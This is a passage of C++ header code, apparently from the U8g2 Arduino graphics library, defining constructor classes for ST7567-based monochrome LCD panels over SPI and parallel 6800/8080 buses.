cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_1_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_1_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_6800 : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_1_8080 : public U8G2 {\n  public: U8G2_ST7567_OS12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_6800 : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_2_8080 : public U8G2 {\n  public: U8G2_ST7567_JLX12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064_2_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_6800 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_ENH_DG128064I_2_8080 : public U8G2 {\n  public: U8G2_ST7567_ENH_DG128064I_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_enh_dg128064i_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_6800 : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_OS12864_2_8080 : public U8G2 {\n  public: U8G2_ST7567_OS12864_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_os12864_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_6800 : public U8G2 {\n  public: U8G2_ST7567_JLX12864_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7567_jlx12864_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7567_JLX12864_F_8080 : public U8G2 {\n  